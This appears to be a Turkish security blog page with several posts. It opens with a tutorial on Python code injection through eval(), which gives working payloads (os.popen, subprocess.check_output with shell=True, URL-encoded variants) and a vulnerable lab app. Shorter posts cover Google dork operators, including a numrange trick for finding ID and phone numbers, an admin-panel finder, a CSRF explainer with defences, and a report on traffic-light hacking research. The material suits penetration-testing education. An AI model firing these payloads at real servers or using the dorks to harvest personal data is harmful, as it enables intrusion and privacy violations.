Python Code Injection

Standart

Web Uygulamalarında Python Code Injection

     Python Code Injection’a izin veren bir web uygulaması, uygulama üzerinden Python kodlarını hedef sunucuya gönderme imkanı tanır. Eğer python’u çalıştırabilirseniz büyük ihtimalle işletim sistemi komutlarını çağıracaksınız. Eğer işletim sistemi komutlarını çalıştırabilirseniz ,erişim sağladığınız dosya üzerinde okuma / üzerine yazma gibi çeşitli işlemleri yapabileceksiniz, ayrıca imkan dahilinde interaktif bir shell’i uzaktan çalıştırabileceksiniz.

Ana nokta; bu zafiyet, harici web uygulamalarını sömürmek ( exploit etmek ) amacıyla gerçekleştirilen sızma testlerinde, toplanan bilginin doğrulanması anlamında çok fazla zaman kaybettiriyor. Ekip arkadaşım Charlie Worrell ile birlikte etkileşimsiz bir shell ile Burp aracını açtık ki bu makale tam olarak bu olayı açıklamaktadır.

Python Code Injection, sunucu – taraflı code injection saldırısının küçük bir maketi gibidir. Bu açık, yazılım dili çok fark etmeksizin, birçok uygulamalarda bulunabilir. Aslında, siz de benim gibi bir CWE hayranı iseniz, aşağıda verdiğim iki adet CWE tam aradığınız şey olacaktır.

CWE-94: Improper Control of Generation of Code (’Code Injection’)
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (’Eval Injection’)

TL;DR

     Eğer aşağıdaki payload’a benzer bir python injection açığı bulduysanız ( Burp veya daha farklı bir araçla ) :
eval(compile(’for x in range(1):\n import time\n time.sleep(20)’,’a’,’single’))

OS Command Injection adı altında Zaman tabanlı bir POC yapmak için aşağıdaki payload u kullanabilirsiniz.
eval(compile(“””for x in range(1):\\n import os\\n os.popen(r’COMMAND’).read()”””,’’,’single’))

Ortaya çıktığında, for döngüsüne bile ihtiyacınız olmadan global_import_function kullanabilirsiniz.
eval(compile(“””import(’os’).popen(r’COMMAND’).read()”””,’’,’single’))

Daha da önemlisi çoğu vakada tamamını derlemenize gerek yok sadece aşağıdaki kısmı derlemeniz yeterli olacaktır.
import(’os’).popen(’COMMAND’).read()

Bu web uygulamalarının güvenliğini aşabilmek için ; bazı karakterleri URL encode etmeniz gerekir. Aşağıdaki örnekler size neye benzediklerini ve nasıl gözüktüklerini göstermek amacıyla verilmiştir.

– param=eval%28compile%28’for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29’%2C’a’%2C’single’%29%29
– param=eval%28compile%28“““for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r’COMMAND’%29.read%28%29“““%2C’’%2C’single’%29%29
– param=eval%28compile%28“““import%28’os’%29.popen%28r’COMMAND’%29.read%28%29“““%2C’’%2C’single’%29%29
– param=import%28’os’%29.popen%28’COMMAND’%29.read%28%29

İçerisinde Açık Bulunduran Bir Sunucu Kurulumu Yapmak

     Bu gönderinin amacına ulaşması için içerisinde açık bulunduran bir uygulama oluşturdum. Böylelikle saldırıyı bir lab ortamında gerçekleştirmek isterseniz yazılımı buradan edinebilirsiniz.

     Çalıştırmak için, pip veya easy_install aracılığıyla web.py uygulamasını yüklemeniz gerekmektedir. Tek başına bir sunucu olarak çalışabileceği gibi, Apache üzerine mod_wsgi ile yüklenebilir.


git clone https://github.com/sethsec/PyCodeInjection.git
cd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py

Açık ( vulnerability ) Hakkında

     python eval() ‘ın güvenli olmadığına dair uyarı barındırmayan az sayıda internet sitesi ile karşılaşmanıza rağmen, bu sitede eval()’ ın ileri seviyede tehlikeli olduğuna dair bilgiler bulacaksınız. Eğer aşağıda size verdiğimiz iki durumu yaşıyorsanız, açık mevcut demektir.

  1. Uygulama kullanıcının veri girişi yapmasına izin veriyorsa. (örn, GET/POST ,çerez değerleri )
  2. Uygulama, kullanıcı tarafından yapılan veri girişlerinin güvenli olmayan bir yolla geçmesini sağlarsa ( temizleme veya diğer koruma yöntemleri olmaksızın )

İşte burada içerisinde bu açığı barındıran kodun nasıl olacağı basitçe gösterilmiştir.

Daha önce de söylendiği gibi, eval(), bu tarzda bir açığın oluşmasında birinci dereceden bir etkendir. Bir geliştirici görüşü ile bu açık, kullanıcı tarafından seri bir şekilde veri girişi yapılması olarak yorumlanabilir.

Python exec() ile uygulamanızı açık barındırır hale getirebilirsiniz fakat bildiğim kadarıyla bir geliştirici exec() web tabanlı kullanıcı veri girişlerinde bile geçerli bir sebep bulmaya çalışmalıdır. Bu şekilde söyleniyorsa sonuç kesindir.

Otomatize Keşif

Daha önce görmediğimiz bir uygulamanın taramasını yaptıktan sonra, ilgili sonuçları almak adına POC raporlaması yapmak offensive güvenlik eğitimimden beri en değerli alışkanlıklarımdan birisi olmuştur ( bu sürece, tarayıcıların bulamadığı açıkları manuel olarak bulmayı da ekleyebiliriz ). Saldırı yapılacak açık çok farklı değildir. Eğer bunu kabaca kendiniz bulabiliyorsanız, herhangi bir otomatize edilmiş araçla da ( Burp Suite Pro gibi… ) bulabileceksiniz demektir. Aslında, Burp uygulaması içeriden yazılan bir yazılımla açıkları bulmaya çalışır ve bu yüzdendir ki, bu açığı Burp Suite olmaksızın bulabilmeniz hakkında kesin bir şey söyleyemeyeceğim.

İçerisinde açık barındıran Demo App’yi çalışır vaziyette bulduğunuzda, ilgili açığı Burp Suite Scan ile tarama sonrası bulabileceksiniz.

Burada gördüğünüz ise açık bulunduğunda, kullanabileceğiniz uygun payload hakkında detaylardır.

Burp bayraklarının sebebi ( flag ) açıklar olup, payload gönderimiyle birlikte, 20 sn’lik uyku komutu gönderildikten sonra, 20 sn içerisinde cevap gelmesidir. Zaman tabanlı açık kontrolünde, her kontrolde yanlış uyarılar vereceği gibi, uygulama başlatıldığında vereceği cevaplar da yavaş olacaktır.

POC’den Hedeflenmiş Saldırıya ( Exploitation ) Geçiş

time.sleep açığın varlığını onaylamak için uygun bir yöntem olsa da, işletim sistemi komutları çalıştırmak ve çıktı almak için uğraşırız. Bunu yaparken, os.popen() veya subprocess.Popen() ve subprocess.check_output() ile başarılı olduk ve eminim ki daha farklı şeyler de vardır. Eval’in ifadeleri değerlendirmesine benzer çoklu ifadeleriniz varsa Burp Suite payload size temiz bir açık tarama imkanı sunacaktır. Aşağıda bunlar açıklanmıştır.

http://www.floyd.ch/?p=584
http://vipulchaskar.blogspot.com.tr/2012/10/exploiting-eval-function-in-python.html

Bu payload bir çok durumda çalışmaktadır:

# Tek bir ifade ile çalışan örnek
import(’os’).popen(’COMMAND’).read()

Virgüllerle ayrılmış çoklu ifadelerle çalışan örnek

str(“-“*50),import(’os’).popen(’COMMAND’).read()

Tek bir ifade ile çalışan örnek

eval(compile(“””import(’os’).popen(r’COMMAND’).read()”””,’’,’single’))
eval(compile(“””import(’subprocess’).check_output(r’COMMAND’,shell=True)”””,’’,’single’))

Virgüllerle ayrılmış çoklu ifadelerle çalışan örnek

eval(compile(“””import(’os’).popen(r’COMMAND’).read();import time;time.sleep(2)”””,’’,’single’))
eval(compile(“””import(’subprocess’).check_output(r’COMMAND’,shell=True);import time;time.sleep(2)”””,’’,’single’))

Yaptığım testlere göre; global_import_trick bazı alt uygulamaları çalıştırmayacaktır. Bu durumda, Burp ekibinin hazırladığı for döngü tekniğini kullanın.
eval(compile(“””for x in range(1):\n import os\n os.popen(r’COMMAND’).read()”””,’’,’single’))
eval(compile(“””for x in range(1):\n import subprocess\n subprocess.Popen(r’COMMAND’,shell=True, stdout=subprocess.PIPE).stdout.read()”””,’’,’single’))
eval(compile(“””for x in range(1):\n import subprocess\n subprocess.check_output(r’COMMAND’,shell=True)”””,’’,’single’))

Eğer açık içeren parametre bir GET parametresi ise, saldırıyı ( exploitation ) sadece web tarayıcınızla gerçekleştirebilirsiniz.

Not: Web tarayıcınız sizin için bir çok Url kodlamalarını yapacaktır fakat, %3b kolonunu ve %20 boşluklarını manuel olarak kodlamanız gerekecektir ( eğer kullanılmaları gerekiyorsa tabii ). Ya da size verdiğimiz araç ile tarama yapabilirsiniz.
Eğer POST parametresi ile çalışıyorsanız ( veya bir çerez değeri – sızma testinde başıma gelen bir durumdu ) muhtemelen Burp Repeater gibi bir yazılım kullanmanız gerekecektir. Aşağıdaki ekran görüntüleri pwd, ls -al, whoami ve ping gibi komutları çağırmada ve tüm bunları tek bir ifadede kullanan subprocess.check_output() komutunu kullanmayı gösterir.


Dolayısıyla manuel olarak yapılan Url kodlamaları hızlı bir şekilde eskir, bu yüzden büyük ihtimalle Charlie ve benim yaptığım gibi kendinizi güncel bir python script’i yazarken bulacaksınız. Tabi eğer isterseniz, bizim yazdığımız scripti de kullanabilirsiniz.

PyCodeInjectionShell ile Saldırı ( Exploitation ) Gösterimi

PyCodeInjectionShell yazılımını yükleyebilirsiniz ve nasıl kullanılacağını ise https://github.com/sethsec/PyCodeInjection adresinden öğrenebilirsiniz. PyCodeInjectionShell olabildiğince sqlmap tarzında yazılmıştır. Bizim varsayımımız ise python scriptini kullanan kişinin sqlmap tarzında bir uygulama ile karşılaşmış olmasıdır.
Aşağıdaki ekran görüntüsünde yazılımın, bir URL’i kabul ederken ki faaliyetleri görüntülenmektedir. Oradaki sqlmap tarzı * işareti, URL içerisindeki payload yerleşimini göstermektedir. Bu örnek zaten, çıkana kadar komut yazdığınız interaktif modu göstermektedir,

Ve burada da görüldüğü üzere, nereye saldırı yapılacağını gösteren * işareti, burp repeater’dan kopyalanıp / yapıştırılan bir istek dosyası ile aynı işlevselliği gösterir.

Diğer örnekte olduğu gibi, sadece tek bir komut girip çıkacaksanız, -i komutunu çıkarın.

 

Kaynak

GHDB (Google Hacking Database) Nedir ?

Standart

GHDB (Google Hacking Database) Nedir ?

Google, tüm web sitelerini tarayıp arayan kişiye, aradığı konu hakkında çok zekice sonuçlar çıkarmaktadır. Bunları yapabilmek için tüm web sitelerini gezerek elde ettiği verileri veritabanında tutmaktadır. Yaptığımız arama sonucunda istediğimiz bilgileri sıralayarak bize sunar. Bize sunduğu bilgiler arasında bilginin kaynağı olan web sitesi için zafiyet oluşturacak bilgiler de barınmaktadır. Google arama teknikleri ile derinlemesine araştırma yaparak kişisel bilgilere, e-mail adreslerine, web adresinizdeki açıklıkları vb. bilgilere ulaşmak mümkündür. Yapılan bu pasif bilgi toplama tekniğine GHDB (Google Hacking Database) adı verilmektedir.

Google Nasıl Çalışır ?

Siz daha sorgunuzu gerçekleştirmeden önce Google çalışmaya başlar. Google örümcekleri web sayfalarına istek yapar, getirdiği web sayfalarındaki bağlantıları izleyerek bunların gösterdiği sayfaları getirir ve sonra bu sayfalardaki bağlantıları izler . Kısacası web sayfalarını gezinerek bağlantıları elde eder ve elde ettiği bağlantıları gezinerek sayfalardaki diğer bağlantıları de elde eder. Bu tekniğe Crawling adı verilmektedir. Elde ettiği her bağlantıyı ziyaret ederek bir birine bağlı onlarca web sayfasına erişir ve işlem tamamlandığında büyük bir veri elde eder. Yani siz daha sorgu gerçekleştirmeden Google milyonlarca web sayfasını ziyaret edip sizin için gerekli index bilgilerini çıkartır. İndex bilgisi ile sayfa içeriği farklı yerlerde barındırılır.

111

Yukarıdaki şemayı incelediğinizde sorgu gerçekleştirilirken hangi aşamalardan geçerek kullanıcıya verilerin sıralandığını görebilirsiniz. Gerçekleştirilen sorgu ilk olarak Google Web Server tarafından karşılanıyor. Web Server aldığı isteği Index Server’a iletir. Bu Server’da sayfalar tek tek incelenmeden Index içerisinde arama yapılarak daha hızlı sonuçlar elde edilir. Elde edilen sonuçlar Document Server’a gönderilir. Bulunan Index’e ait belgeler hızlı bir şekilde çıkartılarak kullanıcıya sunulur. Ayrıca gerçekleştirilen sorguya birden fazla sunucu aynı anda karşılık verdiğinden daha hızlı cevap vermektedir. Bir sorgunun cevaplanma süresi yaklaşık yarım saniyedir. Tüm bu adımlar gerçekleşirken Google sizin için 200 den fazla sorgu ile sizin için en iyi sonuçları çıkarmayı hedefler.

Google Arama Teknikleri

Arama kutucuğuna aramak istediğiniz sorguyu yazarak arama yapabilmek mümkün, lakin onlarca çok sonuç var ki işimize yarayacak bilgilere ulaşmamız için daha fazla filtreleme kullanmalıyız. Bu nedenle basit arama tekniği yerine gelişmiş arama tekniğini tercih etmeliyiz. Google gelişmiş arama yapabilmemiz için bize bazı operatörler sunuyor. Operatörleri karakter ve kelime olarak iki grupta inceleyeceğiz.

1. Karakter Operatörleri

222

Örnekler;

veri + gizleme   –   İçerisinde ’veri’ ve ’gizleme’ kelimesi geçen sayfaları listeler.

veri – gizleme – İçerisinde ’veri’ kelimesi olup, ’gizleme’ kelimesi olmayan sayfaları listeler.

“veri gizleme” – İçerisinde ” veri gizleme ” öbeği geçen sayfaları listeler.

veri * gizleme – İçerisinde ’*’ karakteri yerine herhangi bir kelime bulunan sayfaları listeler. (veri madenciliği veri gizleme gibi)

# veri | gizleme – İçerisinde ’veri’ ya da ’gizleme’ kelimelerinden birinin ya da her ikisinin geçtiği sayfaları listeler.

veri & gizleme – İçerisinde ’veri’ ve ’gizleme’ kelimelerinin her ikisinin de geçtiği sayfaları listeler.

(“veri gizleme” | “malware analizi”) – içerisinde ’ veri gizleme’ ya da ’ malware analizi ’ geçen sayfaları listeler.

2. Kelime Operatörleri

Kelime operatörleri ile yapacağımız aramaları daha kesin sonuçlara bağlayabiliriz. Hedefi git gide küçülterek, bilgi çöplüğünden ziyade daha elle tutulur veriler elde edeceğiz.

Aşağıda operatörlerin yaptığı işlemler anlatılmıştır. Ardından örnekle pekiştirilmiştir.

site: Belirttiğiniz adrese ait sayfaları listeler.
site: turksec.net

intitle: Belittiğimiz kelimeyi ya da kelimeleri sayfa başlığında arar ve sonuçları listeler.
intitle: web security

allintitle: Belittiğiniz birden fazla kelimenin tamamını sayfa başlığında içeren sayfaları listeler.
allintitle: web security

inurl: Belirttiğiniz kelime web sitelerinin URL’ inde aranır. Site operatörüne benzer farkı; site operatörü host’a odaklanır inurl ise URL in herhangi bir yerinde (host,parametre,değer) bulunması yeterlidir.
inurl:web security

allinurl: Belirttiğiniz kelimelerin tümünü web sitelerinin URL’ inde içeren web sayfalarını listeler.
allinurl: web security

inanchor: Belittiğiniz veri ile ilişkili olan bağlantıları listeler.
web security   inanchor: XSS

intext: Web sayfalarının içeriğinde arama yaparak aramaları kısıtlayabiliriz.
intext: dom tabanlı xss

allintext: Web sayfalarının içeriğinde arama yaparak aramaları kısıtlayabiliriz. Tüm kelimelerin içerikte var olması gerekir.
allintext: dom tabanlı xss

cache: Hedef adresin Google önbelleğindeki son halini görüntüleyebilirsiniz. En son önbelleğin ne zaman güncellendiği vb. bilgilere de ulaşmak mümkündür.
cache: turksec.net

filetype: Filtrelediğimiz uzantıdaki dosyaları arayacaktır.
web security filetype: pdf

info: Belirttiğimiz web adresi ile alakalı web adreslerini listeler.
info: turksec.net

link: Tanımladığımız link’e ait sayfaları listeler.
link: turksec.net

related: Belirttiğimiz web adresine benzer yapıda olan sayfaları listeler.
related: google.com

insubject:   Belirttiğimiz kelimeleri içeren içeriğe sahip web sayfalarını listeler.
insubject:”web güvenliği”

define: Aradığımız kelime ile alakalı sayfaları listeler.
define: “Php pdo”

groups: Bir topluluk veya gruba ait bilgi toplamak istiyorsak, groups dork ile aramamızı sınırlandırabiliriz.
groups: phpkonf

(Google groups: Google tarafından ücretsiz olarak sağlanan çevirimiçi gruplar ve mail listesi servisidir. Google Groups kullanarak, ilgi alanlarına göre gruplar bulunabilir ve üye olunabilir.)

author: Yazara ait bilgileri listelemeyi sağlar.
author: TurkSec
ext: filetype dorku ile aynı işlemi görmektedir. Aradığımız dosya uzantılarını filtreleyebiliriz.
ext: sql

maps: Aradığımız lokasyona ait bilgileri bulabiliriz.
maps: Türk Hava Kurumu Üniversitesi

location: Google Haberlerdeki sorgunuza konum eklerseniz, belirtilen konuma ait haberleri listeleyecekir.
location: ankara

source: Sorgumuza kaynak ekleyerek aradığımız makalelerin, dökümanların kaynağını sınırlandırabiliriz.
RFI source: TurkSec

book: Aradığınız kitap hakkında bilgi bulabilirsiniz.
book: network security 

daterange: Aradığınız tarih aralığı ile aramanızı filtreleyebilirsiniz.
daterange: 1990 – 2000

numrange: Aradığınız aralıklarda numaralar ile aramanızı kısıtlayabiliriz. Tc kimlik numaraları, telefon numaraları gibi bilgileri bulmak için bu operatörü kullanabilirsiniz.
numrange:05071111111-05541231212

 

Exploits: https://www.exploit-db.com/google-hacking-database/

TurkSec Panel Bulucu

Standart

Merhaba arkadaşlar sizlere  hedef sitenin admin panelini bulmak için kullanabileceğiniz  “TurkSec Panel Bulucu” programını tanıtıcağım. Program java ile kodlandı ve JRE 8 ile derlendi o yüzden programı çalıştırabilmek için java.com dan javanın son sürümünü indirip kurmanız lazım.

Javayı yükledikten sonra TurkSec Panel Bulucu uygulamasına girin. “Dizin dosyası seç” butonuna tıklayarak ekte vermiş olduğum admins.txt dosyasını seçin. Ben elimdeki panel uzantılarını ekledim ama siz yinede geliştirebilirsiniz. Ardından hedef sitenizin URL adresini girin ve “Adresi sabitle” butonuna basıp Taramaya başlayın.

tspb

Soru: Çalışma mantığı nedir?
Cevap: Dosyadaki dizin ve dosya listesini çeker. Site üzerinde bunları dener. Bulduğunu düşündüklerini ekrana verir. Piyasadakilerden farklı algoritması vardır. Netlik değeri yüksektir. False positive değeri düşüktür. Özellikle havijde rastladığımız bugların hiçbirini barındırmaz. MultiThread çalışır. Sayfaları 5’er 5’er dener.

Soru: Https destekler mi?
Cevap: Evet.

Soru: Alt klasörleri dener mi?
Cevap: Recursive mantıkla çalışmaz. Url için yazdığın dizinin altında deneme yapar. Her dizin için ayrı tarama yapman gerekir.

Soru: Yanılma payı var mıdır?
Cevap: Her zaman her programda vardır. Ama piyasadakilerden artısı çoktur.

Soru: Peki programı özel yapan nedir?
Cevap: Status code bazlı çalışmaz, 200 döndüren 404 sayfalarını da tespit eder. Uzantı bazlı çalışır, yani diğer bi deyişle, php nin 404 ü ile php yi kıyaslar, jsp nin 404 ü ile jsp’yi kıyaslar.

Soru: Hangi durumlarda yanılabilir?
Cevap: Birden fazla “custom” error sayfası olan ve bunları rastgele döndüren sunucularda. Bağlantı gidip gelme veya firewall tarafından bloklanma durumlarında.

PROGRAMI İNDİRMEK İÇİN TIKLAYIN

Cross Site Request Forgery Nedir?

Standart

CSRF ya da XSRF olarak kısaltılabilen Cross Site Request Forgery (Siteler Arası İstek Sahtekârlığı), zafiyeti barındıran web uygulamasına yapılan bir isteğin, uygulama üzerinden yapıldığının anlaşılamamasından kaynaklanan bir açık türüdür. Yani Session Riding olarak da bilinen CSRF açıkları, web sitesine giden isteklerin, site üzerinden gidip gitmediğini kontrol eden bir mekanizmanın eksikliğinden dolayı meydana gelmektedir.

CSRF zafiyetiyle yapılabilecekler, web uygulamasının kullanıcıya verdiği yetkiyle doğru orantılıdır. Saldırgan, bazen bir form ile bazen de bir img etiketi vasıtasıyla kurbanın çeşitli istekler yapmasını sağlayabilir. Bu sırada kurban kendisine yaptırılan istekten habersizdir. Saldırının gerçekleşmesi için gönderilen JavaScript veya HTML kaynakların çalışması için kurbanın uygulama üzerinde çevrimiçi bir halde olması gerekir.

Örneğin, saldırgan CSRF açığı bulunan bir bankanın web sitesinde işlem yapan bir kullanıcıyı, para transferi yaptırmaya zorlayabilir. Ya da saldırgan, kurbanın sosyal medya hesabından başka bir kullanıcıya mesaj göndermesini sağlayabilir. CSRF zafiyetinin neden olabileceği pek çok senaryoyu akla getirmek mümkündür.

CSRF ve XSS Farkı

CSRF’nin oluşmasında web sitesinin kullanıcıya ait web tarayıcısına duyduğu güvenin suistimali söz konusuyken; XSS’nin oluşmasının temelinde kullanıcının, web sitesine sağladığı güvenin suistimali yatmaktadır. Bir CSRF saldırısının meydana gelmesi için session (oturum) kimliğinin doğrulanmış olması gerekmektedir. XSS’te ise buna gerek yoktur. Açık bulunan web sitesinde girdiler üzerinde herhangi bir doğrulama ya da escaping işlemi yapılmadığı için ortaya çıkar.

XSS’te, sunucu bir doğrulama işlemi gerektirmez ya da birincil kontrol mekanizması olarak girdiyi escaping işlemine tabi tutmazsa saldırgan; türlerine göre uzaktan kontrol edilebilen, veritabanında kalıcı olan ya da ekrana geri yansıtılabilen cookie, url parametresi, form alanları gibi girdi alanları ve istek parametrelerinin herhangi bir çeşidi vasıtasıyla uygun girdiyi gönderebilir. CSRF içinse şu örnek aydınlatıcı olabilir: Banka hesabınıza giriş yapmış olduğunuzu aynı anda başka bir sekmede bir sosyal medya hesabınızın açık olduğunu varsayalım. Saldırganın sosyal medya hesabınız üzerinden size gönderdiği bağlantıya tıkladığınızı düşünelim. Siz, bağlantıya farklı bir site üzerindeyken tıklamış dahi olsanız saldırganın gönderdiği zararlı URL arkaplanda saldırıyı gerçekleştirmiş olacak ve senaryoya göre para transferi yapmış olacaktır. Çünkü oturum bilginiz tarayıcıda hâlâ aktif ve tarayıcı session id’nize sahiptir. Halbuki para transferi formunda alınmış bir önlem bu saldırının gerçekleşmesini engelleyecektir. Ayrıca XSS’nin CSRF saldırılarına neden olabileceği ihtimali de unutulmamalıdır.

CSRF Açıklarını Tespit Etme

CSRF açığının tespiti için seçilebilir en kolay yol elbette Netsparker, Acunetix gibi otomatize edilmiş programların kullanılmasıdır. Bunun yanı sıra OWASP CSRFTester, Fiddler, Burp Suite gibi programlarla da bunu yapmak mümkündür.

Manuel olarak yapılan testlerde en bilinen yol, her kullanıcı için sabit olmayan ve tahmin edilemez token’lerin bulunup bulunmadığını araştırmaktır. Bu araştırmanın hedefi bir takım silme, ekleme, değiştirme gibi fonksiyonları çalıştıran linkler ve formlar olmalıdır.

CSRF Nasıl Exploit Edilir?

Örnek bir form üzerinden göstermek gerekirse; aşağıdaki e-posta değiştirme formu CSRF zafiyeti barındırmaktadır. Form üzerinden GET metodu ile değişiklik yapılabilmektedir. “degistir.php” dosyasının yaptığı değişiklik sonucunda e-posta adresi “email” parametresine atanır. Sonuç olarak güncel e-posta adresi “ornekeposta@adresi.com” olarak tanımlanır.

1

2

Bu formu kullanan kurbanın e-posta adresini değiştirmek için kurban tarafından çalıştırılması gereken örnek kodlardan biri aşağıdaki gibidir:

3
“Height” ve “width” değerinin 0 (sıfır) olarak belirlenmesiyle kurban tarafından -ayrıntılı bir inceleme dışında- fark edilemez hale getirilen zararlı URL’nin bulunduğu img tag’ının yerleştirildiği herhangi bir sayfa, kurban tarafından görüntülendiğinde mevzu bahis zararlı kod çalışmış olacaktır. Örnekte e-posta adresinin değiştirilmesi gibi bir senaryo izlense de CSRF açığının neden olabileceği pek çok durum meydana gelebilir.

Yukarıdaki örnekten bağımsız olarak img dışında da saldırıyı gerçekleştirme yolları mevcuttur:

script src
4

iframe src
5
‘Image’ nesnesi
6

‘XMLHTTP’ nesnesi / IE
7

Sayfa açıldığında POST metoduyla çalışan form
8

Sayfa açıldığında POST metoduyla çalışan form (alternatif)
9

Alınabilecek Önlemler ve Korunma Yöntemleri

Geliştiriciler İçin Genel Çözümler:

  • Değiştirme, silme gibi önemli fonksiyonlar POST metoduyla yapılabilir.
  • Her form için kullanılması zahmetli olsa da belirli formlarda Captcha uygulamalarına başvurulabilir.
  • Yapılan her isteğin HTTP Referrer başlığı kontrol edilebilir. Bununla birlikte Referrer başlığının tam olarak güvenliği sağlaması beklenmemelidir. Çünkü manipülasyona açıktır.
  • URL Rewriting yöntemi kullanılarak URL’lerin geçerli oturumda, karmaşık olarak belirlenmesi sağlanabilir. Yine de tam bir koruma sağlamayacaktır.
  • CSRF token’leri kullanılabilir. Bu token’lerin her form için yeniden oluşturulması, sadece oturumu açan kullanıcıya ait olması gerekir.
  • Bunlar haricinde, geliştirme ortamlarına göre çeşitli önlemler de bulunmaktadır. ASP.NET’te AntiForgeryToken ve ViewState gibi önlemler mevcut iken JAVA’da OWASP’ın geliştirdiği OWASP-CSRFGuard projesi mevcuttur. Diğer yandan PHP’de hem oluşturulacak class’lar ile hem de framework’lerde bulunan koruma özellikleriyle güvenlik sağlanabilir.

Kullanıcılar Açısından Önlemler:

  • Uygulamadan mutlaka çıkış yapılmalıdır. Yani var olan oturum kapatılarak siteden ayrılmak gerekir.
  • Çerezleri temizlemek önlemler arasında sayılabilir. Özellikle tarayıcıların, her kapanışta çerezleri silmesi ayarlanabilir.
  • Mozilla Firefox için RequestPolicy ve Google Chrome-Mozilla Firefox için uMatrix eklentileri, yüzde yüz koruma sağlamasa da, kullanılabilir. Ayrıca NoScript eklentisi de CSRF tehditlerini azaltmaktadır.
  • Bilinmeyen e-postalar açılmamalı, filtrelenen -imaj gibi- içerikler görüntülenmemelidir.

malcolm_extra

Trafik Işıkları Hacklenebilir Mİ?

Standart

Michigan Üniversitesi’nden güvenlik araştırmacıları, trafik ışık sinyallerini hack’leyerek,  elinde laptobu ve düzgün bir wireless cihazı olan herkesin bunu kolayca başarabileceğini kanıtladılar.

Tek bir noktadan en az 100 trafik sinyalinin kontrolunü basitce ele geçirmelerini sağlayan ciddi güvenlik açiklarını yaptıkları calişmada topladılar.

Hack ’leme işlemini gerçekleştirmeden  önce arastirmacilar, karayollarından gerekli izinleri aldılar, ancak hangi yollarda hack ’lemeyi gercekleştirdiklerini açiklamadilar.

Araştırma yazılarında yazılanlara göre;

“Saldırılarımız gösterdi ki, kötü niyetli kişiler, karışıklık yaratmak, emniyeti bozmak ya da haksız avantaj sağlamak için trafik altyapısını kontrol edebiliyorlar. “

Trafik Işıklarının Altyapısındaki Güvenlik Açıkları

Michigan Üniversitesi Bilgisayar Bilimlerinden ekip lideri J Alex Halderman, trafik sistemi, networkte 3 ana zafiyete sahip;

Şifrelenmemiş radyo sinyalleri,

Fabrika çıkışlı kullanıcı adı ve şifre kullanımı,

Kolayca kırılabilen hata ayrıştırma portunun kullanımı,

Bu da sistemin siber suçlular hatta genç hacker adayları tarafndan bile kolayca hack’lenebilmesine sebeb oluyor.

“Altyapıda tespit ettigimiz bu açıklar, cihazlardaki hatalardan ya da tasarımlardan kaynaklanmıyor, güvenlik bilincinin eksikliğinden kaynaklanıyor.”

 

Trafik ışıkları nasıl hack'llniyor

 

Bu cihazlar sadece  araştırmaların yapıldığı Amerika’da kullanılmıyor, İngiltere, Fransa, Avustralya, Çin ve diğer birçok ülkede kullanılan sistemler.

Trafik Işıkları Nasıl Yönetiliyor?

Trafik ışıklarındaki sistem, her bir kavşaktaki koşullara göre değişen 5.8 GHZ ve 900 MHz radyo sinyallerini kullanıyor. 900 MHz linki, frekans atlatan geniş spektrumlu patentli protokol kullanıyor (FHSS).  5.8 GHz olan tescilli protokol ise 802.11n ‘den farklı değil.

Araştırmacıların belirttiğine göre, bir adet laptop ve trafik ışıklarının kullandığı aynı frekansta çalışan (5.8 Ghz) wireless karta sahip herkes şifresiz ağa dahil olup ortalığı dağıtabilir.

Hacker’lar bu yöntemlerle, tüm ışıkları kırmızya çevirebilir, kavşaklardaki ışıkların zamanlamasıyla oynayabilir, belli bir yolda ilerleyen bir aracın sürekli yeşil ışıkta kalmasını sağlayabilir.

Daha detaylı bilgiyi, Michigan Üniversi’tenin araştırma yazısısında okuyabilirsiniz:  https://jhalderm.com/pub/papers/traffic-woot14.pdf
Trafik altyapısını inceleyen IOActiveLabs şirketinin CIO’su Cesar Cerrudo ‘nun da konuyla ilgili araştırmalarını blog’unda okuyabilirsiniz: IOActive Labs